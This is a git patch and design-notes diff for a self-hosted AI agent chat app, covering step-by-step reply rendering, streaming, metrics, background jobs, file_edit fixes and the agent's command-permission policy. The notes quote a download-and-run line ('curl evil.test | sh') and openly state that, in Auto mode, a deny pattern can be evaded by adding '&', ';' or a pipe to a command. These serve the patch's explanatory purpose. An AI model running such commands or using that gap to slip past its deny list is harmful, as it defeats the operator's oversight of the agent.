From 7df68eb44c1088bd6adf69ec9ac32ff8fe1af163 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Bene=C5=A1?= Date: Tue, 4 Aug 2026 19:02:07 +0200 Subject: [PATCH] A reply you can read while it is still being written Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) --- CLAUDE.md | 281 +++++++++++++--- PLAN.md | 23 +- src/lembas/api/agents.py | 110 +++++++ src/lembas/api/chats.py | 137 ++++++-- src/lembas/api/pages.py | 44 ++- src/lembas/db/models/chat.py | 15 + src/lembas/services/agent/jobs.py | 83 +++++ src/lembas/services/agent/patch.py | 33 +- src/lembas/services/agent/policy.py | 53 +-- src/lembas/services/agent/tools.py | 37 ++- src/lembas/services/generation.py | 177 ++++++++-- src/lembas/services/harness.py | 9 +- src/lembas/services/markdown.py | 37 +++ src/lembas/services/metrics.py | 58 +++- src/lembas/services/prompts.py | 67 +++- src/lembas/services/steps.py | 205 ++++++++++++ src/lembas/services/tokens.py | 12 + src/lembas/web/static/css/chat.css | 84 +++++ src/lembas/web/static/js/app.js | 54 +++- src/lembas/web/static/js/composer.js | 19 +- src/lembas/web/static/js/steps.js | 86 +++++ src/lembas/web/templates/admin/agents.html | 7 +- src/lembas/web/templates/chat/_composer.html | 51 +-- src/lembas/web/templates/chat/_jobs_chip.html | 37 +++ .../web/templates/chat/_jobs_panel.html | 75 +++++ src/lembas/web/templates/chat/_message.html | 84 ++--- src/lembas/web/templates/chat/_metrics.html | 9 +- src/lembas/web/templates/chat/_step.html | 49 +++ src/lembas/web/templates/chat/_steps.html | 22 ++ .../web/templates/chat/_steps_tail.html | 29 ++ .../web/templates/chat/_tool_activity.html | 16 +- src/lembas/web/templates/chat/index.html | 3 + src/lembas/web/templating.py | 7 + tests/test_agent_command_edit.py | 12 +- tests/test_agent_patch.py | 33 +- tests/test_agent_plan.py | 43 ++- tests/test_agent_policy.py | 40 ++- tests/test_agent_tools.py | 185 +++++++++++ tests/test_chat.py | 59 ++++ tests/test_chat_scope.py | 40 +++ tests/test_generation_tools.py | 98 ++++++ tests/test_metrics.py | 94 ++++++ tests/test_steps.py | 302 ++++++++++++++++++ tests/test_tool_activity.py | 63 ++++ tests/test_ui_js.py | 68 ++++ 45 files changed, 2777 insertions(+), 273 deletions(-) create mode 100644 src/lembas/services/steps.py create mode 100644 src/lembas/web/static/js/steps.js create mode 100644 src/lembas/web/templates/chat/_jobs_chip.html create mode 100644 src/lembas/web/templates/chat/_jobs_panel.html create mode 100644 src/lembas/web/templates/chat/_step.html create mode 100644 src/lembas/web/templates/chat/_steps.html create mode 100644 src/lembas/web/templates/chat/_steps_tail.html create mode 100644 tests/test_steps.py diff --git a/CLAUDE.md b/CLAUDE.md index ddd68a4..2ad26c0 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -20,7 +20,7 @@ lembas info # paths + counts, useful when confused lembas secret-key # generate LEMBAS_SECRET_KEY lembas create-admin # create or promote an admin -pytest # 1420 tests, ~88s +pytest # 1483 tests, ~90s # PLAN.md tracks what is and is not built ruff check . # lint (line length 100) python scripts/build_artwork.py # regenerate artwork (SVG + PWA icons; @@ -276,16 +276,45 @@ sees that flag and re-renders the bubble from the database, so the row has to be authoritative first. The other order silently showed the previous turn's stored metrics. -**Stream frames carry whole blocks, not deltas.** `render`, `reasoning`, -`metrics` and `status` all send the complete value each time, and every one of -them is swapped with `innerHTML`. `reasoning` used `beforeend` and so repeated -everything already shown on every frame. That is what makes reattaching mid-reply -work: a follower arriving late has no earlier fragments to append to. It also -means Markdown is re-rendered whole, which is required anyway -- a list or code -fence is only correct once its context exists. +**A reply is a sequence of steps, and the marks are what make it one.** The +three stores a reply writes into -- `content`, `reasoning`, `tool_events` -- are +each append-only and each correct, and none of them records *interleaving*. So a +bubble was rendered as three zones (all the thinking, then every tool block, then +all the prose), which reads fine on a two-round answer and is unusable on a +forty-round one. `Message.steps_json` is a **table of contents** over the three, +not a fourth copy of anything: one entry per closed step holding the cumulative +length of each at that moment, written by `Generation.close_step()`. Because they +are marks, `build_messages`, compaction, titling and the copy button all still +see `message.content` as the one string it always was. `services/steps.py` does +the walk; **no marks means the old layout**, which is what every row written +before this reads back, with no version flag and no branch in the template. +`close_step` is called where a round ends *and* in `_gave_up`/`_wrap_up`, which +append outside the round loop -- without their own mark the one line saying why +the reply stopped lands in the step still being written, where the live view has +no tools slot to show it in. + +Splitting Markdown at those boundaries can leave a code fence open, which +markdown-it then runs to the end of the segment and mispairs every later fence +in the reply. `markdown.open_fence` plus a carry in `steps.py` closes it at the +end of one piece and reopens it at the start of the next. **Rendering only** -- +`message.content` is never touched. + +**Stream frames carry whole blocks, not deltas, and the split is closed versus +open.** `steps` carries every finished step and moves only when a round ends; +`reasoning` and `render` carry the step still being written and move at +streaming speed; `metrics` and `status` send the complete value each time. All +are swapped with `innerHTML`. That is what makes reattaching mid-reply work: a +follower arriving late has no earlier fragments to append to, and `_follow`'s +`rendered` list is a render cache rather than a wire protocol -- it starts empty +per follower, so the first frame carries the whole prefix. + +The split is what makes it affordable. The old `tools` frame re-rendered every +tool call in the reply twelve times a second, against an `output_bytes` budget of +a megabyte, so a long agent reply spent most of its wall clock re-rendering its +own transcript. Do not "simplify" this back into one frame. **Two frames must be able to blank themselves, and the rest must not.** -`reasoning`, `tools`, `render` and `canvas` are only sent when they have +`steps`, `reasoning`, `render` and `canvas` are only sent when they have something in them, so a frame can never wipe what is on screen. `metrics`, `status` and `ask` are sent on every version bump *including empty*, because each has to be able to clear: an approval card that survived being answered @@ -293,6 +322,35 @@ would be a button you could press twice. `canvas` is the sharpest case on the other side — an empty one would close every tab somebody had open, which is the same failure with the sign reversed. +The tail is the exception that proves it. When a round closes, what was being +written becomes a step *above* and the live containers must empty — so the +`steps` frame **re-emits those two containers empty as part of its own payload** +(`chat/_steps_tail.html`, included by `_steps.html` when `live`). The tail is +blanked by construction, and `reasoning`/`render` keep their never-blank guard. +The emit order inside one `_follow` pass is therefore load-bearing: `steps` +first, because it carries the containers the other two are swapped into. Safe +because htmx re-registers `sse-swap` on content it swaps in, the same property +the approval card's buttons already rely on. + +**An opened block has to survive the swap, and the ids are how.** The steps +container is replaced with `innerHTML` up to twelve times a second and the `done` +frame replaces the whole article, so a `
` somebody expanded shut itself +again — which at that rate is not an annoyance, it is a block that cannot be +opened at all. `web/static/js/steps.js` records which are open before a swap and +puts them back after. It works only because the ids are stable: +`tool-{message}-{step}-{n}` and `think-{message}-{step}` come from the mark +index, the marks are append-only, and **the finished bubble emits the same +container id and the same inner ids as the live one**. `hx-preserve` cannot do +this — it keeps a node *and its contents*, and these have to update. + +The other half was the scroll. `scrollThread` refused to scroll only when the +reader was far from the bottom, but somebody near the bottom who opens a block is +reading, and the next frame dragged them back down. There is an explicit `stick` +flag now: opening a `
` in the thread clears it, and returning to the +bottom sets it. The `toggle` listener **must** be registered in the capture +phase — `toggle` does not bubble, and without the third argument the whole +feature is silently dead in every browser. `tests/test_ui_js.py` pins that. + **Stopping sets a flag the producer checks -- except while it is paused.** `generation.request_stop()`; whatever arrived is kept and the message is marked `stopped`, distinct from `error`. In-process, so single-worker only. `cancel` is @@ -382,16 +440,28 @@ normal path with small models, and it was a way past the deny list. The fallback itself is right and is kept, in `tools.parse_arguments`; what was wrong was having it in only one of the two places. -**An unmatchable command line does not fall through a non-empty deny list.** -`policy.subject` returns `None` for anything carrying a shell metacharacter, so -no pattern can match it — right, and the whole reason `git *` in an allow list -cannot also mean `git status; curl evil.test | sh`. The original note said a -deny list needed no such care because failing open "returns you to the mode". -True of Manual, Edit and Plan. In **Auto** the mode is ALLOW, so `shutdown -h -now` asked and `shutdown -h now &` ran, and one character was the whole of the -difference. `decide` now asks when the subject is unmatchable *and* there is a -deny list — scoped to that, because otherwise Auto would ask about -`cd build && make`, which is most real commands. +**An unmatchable command line falls through to the mode, and in Auto that means +it runs.** `policy.subject` returns `None` for anything carrying a shell +metacharacter, so no pattern can match it. Half of that is absolute: it is the +whole reason `git *` in an allow list cannot also mean `git status; curl +evil.test | sh`, and it has never changed. + +The deny list has been decided both ways. There was a rule that an unmatchable +line ASKed whenever a deny list existed at all, so `shutdown -h now &` could not +run where `shutdown -h now` asked. It is gone. The shipped `deny_default` is +`["shutdown *", "reboot *", "mkfs*"]` — **non-empty out of the box** — so that +rule made *every* compound command ask in Auto: `cd build && make`, `pytest | +tail`, anything with a redirect. The mode whose entire purpose is not asking +asked about most real commands, and nobody experienced that as a security +control; they experienced it as Auto not working. + +So: a deny pattern can now be walked past with a trailing `&`, a `;` or a pipe. +Auto is the only mode where that is reachable — Manual, Edit and Plan all ASK on +`RISK_EXECUTE` regardless — and the admin page says so under the field. Anything +that must never happen belongs in that account's own permissions on the far +side, not in a pattern list. The upgrade that would restore both properties is to +match the deny list against **each segment** of a composed line; it is confined +to `decide` and is worth doing. **"Always allow this" is a per-chat list, and no pattern ever comes from a request.** It was a button that did nothing: the verdict was accepted, treated as @@ -409,6 +479,12 @@ takes an interaction id and a verdict, and nothing else. The items must be read is for. The list is shown in the composer's scope menu with a Clear beside it: a standing permission nobody can see is one nobody can revoke. +It is also allowed to store nothing and **not** allowed to say nothing. +`subject` yields no pattern for a composed command line, so pressing the button +on one is right to record nothing — and silently recording nothing is the button +that does nothing all over again. `_remember_always` returns +`(added, unmatchable)` and the route turns the second into a toast. + **A reply watches its own request size.** `_maybe_compact` runs once, *before* the first round; after that a tool round appends an assistant turn and a tool turn per call and nothing was looking. The only other guard, @@ -434,11 +510,17 @@ the reply *occupies* is the last round's prompt plus what was written. **A harness that fits is not the same as one with room.** The shipped set had grown to within 1,300 characters of the 16,000 ceiling, and crossing it is silent: `assemble` cuts the *tail*, which by fragment order is the project's own -AGENTS.md. It is 20,000 now, and `tests/test_harness.py` pins a **margin** +AGENTS.md. It went to 20,000, and `tests/test_harness.py` pins a **margin** (`HARNESS_MARGIN`) as well as a fit — the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces rather than shorter. +It is **24,000** now, and that is the margin doing its job rather than a number +being nudged: adding `core.commit` and `tool.agent_edits` took the headroom under +20% and the test said so, instead of somebody's AGENTS.md quietly losing its last +paragraph. Raising the ceiling costs nothing by itself — it is a limit, not a +size, and the assembled block is the same length either way. + **`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.** It was 8000. The fragments alone are about 7,900 characters for an agent chat, and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top, @@ -465,8 +547,13 @@ a schema property costs tokens whether or not it is filled in. The wiring is a `_explained` wrapper at the `ToolDef`, next to the schema that declares it, so the two halves cannot drift. -**An agent chat is told to work to an objective, and to work out loud.** -`core.objective` and `core.narrate`, both `families=("agent",)`. +**An agent chat is told to work to an objective, to work out loud, and then to +stop talking and act.** `core.objective`, `core.narrate` and `core.commit`, all +`families=("agent",)`. The third is the counterweight to the second and was +added because a model without it read "work out loud" as licence to deliberate +for ever — pages of "Ready? GO! ... Wait, one last check ... Actually ..." and +not one tool call, ending a reply having done nothing. Narration is worth having; +what it needed was a bound. `core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not announce that you are about to" — which is right for a short answer, read once it is finished, and wrong for a long piece of work, which is *watched while it @@ -598,6 +685,28 @@ line that lost its leading space is read as blank, and nothing is written unless every hunk applies — a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. +**A refused patch has to say where the file actually is.** The mismatch used to +quote one expected line against one found line, and a model whose numbering is +two out cannot see where it has landed — so it resends the identical patch, which +is most of the retry loop this tool produces across models. `patch._around` +prints `MISMATCH_WINDOW` numbered lines either side of the hint with the hinted +one marked, and says where the file ends when the hunk is past it. `tool.agent_edits` +is the prompt half: read it again, patch what is there, and do **not** fall back +to `file_write`, which replaces the whole file and drops everything the model did +not recall. + +**`file_edit` refuses a file it cannot read whole, and that one was silent data +loss.** It used to go through `_current`, which answers `""` for a file it cannot +read — right for `file_write`, where the file is about to be created, and wrong +here twice over. An unreadable file was reported to the model as a context +mismatch against "(past the end of the file)", i.e. as an empty one. And a file +larger than `max_output` came back **truncated**, was patched, and was written +back by a `write_file` that *replaces* — so the rest of the file was deleted, +silently, and reported as a success with a byte count. Both are refused now, in +those words. It is the same rule Canvas already follows: a truncated read opens +read-only, because saving back the first N bytes of a larger file is how the rest +of it goes. + **A write costs an extra round trip, deliberately.** `file_write` reads the old contents before writing so the transcript can show a real `+/-` diff instead of "1284 bytes". That is one SFTP trip on the hottest agent operation and it is a @@ -801,14 +910,37 @@ allowed to shrink past its content and scroll sideways, everything else is `flex: none`. There is a test asserting the file contains no `@media`, so nobody "fixes" a future version of this with a breakpoint. -**The `@` button became the scope menu.** It only ever inserted the character, -which the `@` key already does without a button. Typing `@` is untouched — -`composer.js` recognises the token on its own and knows nothing about this menu. -The switches inside it are `